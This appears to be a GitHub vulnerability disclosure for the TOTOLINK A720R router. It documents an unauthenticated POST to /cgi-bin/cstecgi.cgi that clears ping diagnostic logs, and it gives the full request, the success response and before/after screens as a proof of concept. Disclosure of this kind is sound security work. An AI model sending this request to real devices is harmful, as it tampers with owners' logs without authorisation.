

[my_vulns](#) / [TOTOLINK](#) / [A720R](#) / **clearDiagnosisLog.md** 

...



at0de first commit

f932a4b · 2 weeks ago



43 lines (29 loc) · 1.56 KB

Preview

Code

Blame

Raw



Overview

- Manufacturer's website information : <https://www.totolink.net/>
- Firmware download address :
https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/203/ids/36.html

Affected version

V4.1.5cu.374

Vulnerability details

The TOTOLINK A720R V4.1.5cu.374 firmware contains an unauthenticated diagnostic log clearing vulnerability. An attacker can exploit this flaw by sending a crafted POST request with the parameter `{"topicurl":"clearDiagnosisLog"}` to `/cgi-bin/cstecgi.cgi`, allowing unauthorized clearing of ping diagnostic logs without authentication.

Poc

Diagnosis logs are normally recorded.

Ping地址

Ping条数 (1~60)

诊断

清除

```
PING 192.168.140.164 (192.168.140.164): 56 data bytes
64 bytes from 192.168.140.164: seq=0 ttl=205 time=0.695 ms
64 bytes from 192.168.140.164: seq=1 ttl=205 time=0.618 ms
64 bytes from 192.168.140.164: seq=2 ttl=205 time=0.821 ms
64 bytes from 192.168.140.164: seq=3 ttl=205 time=0.891 ms
64 bytes from 192.168.140.164: seq=4 ttl=205 time=0.481 ms
64 bytes from 192.168.140.164: seq=5 ttl=205 time=0.766 ms
64 bytes from 192.168.140.164: seq=6 ttl=205 time=0.700 ms
64 bytes from 192.168.140.164: seq=7 ttl=205 time=0.916 ms
64 bytes from 192.168.140.164: seq=8 ttl=205 time=0.587 ms
64 bytes from 192.168.140.164: seq=9 ttl=205 time=0.500 ms
```

```
--- 192.168.140.164 ping statistics ---
10 packets transmitted, 10 packets received, 0% packet loss
round-trip min/avg/max = 0.481/0.697/0.916 ms
```

Send a request to clear the diagnosis log.

POST /cgi-bin/cstecgi.cgi HTTP/1.1

Host: 192.168.140.79

Content-Length: 32

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.140.79

Referer: http://192.168.140.79/basic/index.html?time=1745238634622

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Connection: keep-alive

```
{"topicurl":"clearDiagnosisLog"}
```



```
1 POST /cgi-bin/cstecgi.cgi HTTP/1.1
2 Host: 192.168.140.79
3 Content-Length: 32
4 Cache-Control: max-age=0
5 Origin: http://192.168.140.79
6 Content-Type: application/x-www-form-urlencoded
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
9 Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0
10 Accept:
11 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
12 ;q=0.8,application/signed-exchange;v=b3;q=0.7
13 Referer: http://192.168.140.79/login.html
14 Accept-Encoding: gzip, deflate, br
15 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
16 Connection: keep-alive
17 {
18   "topicurl": "clearDiagnosisLog"
19 }
```

```
1 HTTP/1.1 200 OK
2 Connection: close
3 Date: Fri, 12 Jun 2020 08:46:00 GMT
4 Server: lighttpd/1.4.20
5 Content-Length: 101
6
7 {
8   "success": true,
9   "error": null,
10  "lan_ip": "192.168.140.79",
11  "wtime": "0",
12  "reserv": "reserv"
13 }
```

The diagnosis logs are cleared.

修改密码

系统配置

升级

Ping诊断

路由跟踪

系统日志

Ping地址

请输入Ping地址

Ping条数

请输入Ping条数

(1-60)

诊断

清除